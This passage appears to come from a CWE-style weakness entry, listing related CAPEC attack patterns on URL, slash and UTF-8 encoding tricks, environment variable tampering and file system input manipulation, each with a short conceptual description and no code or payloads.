Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.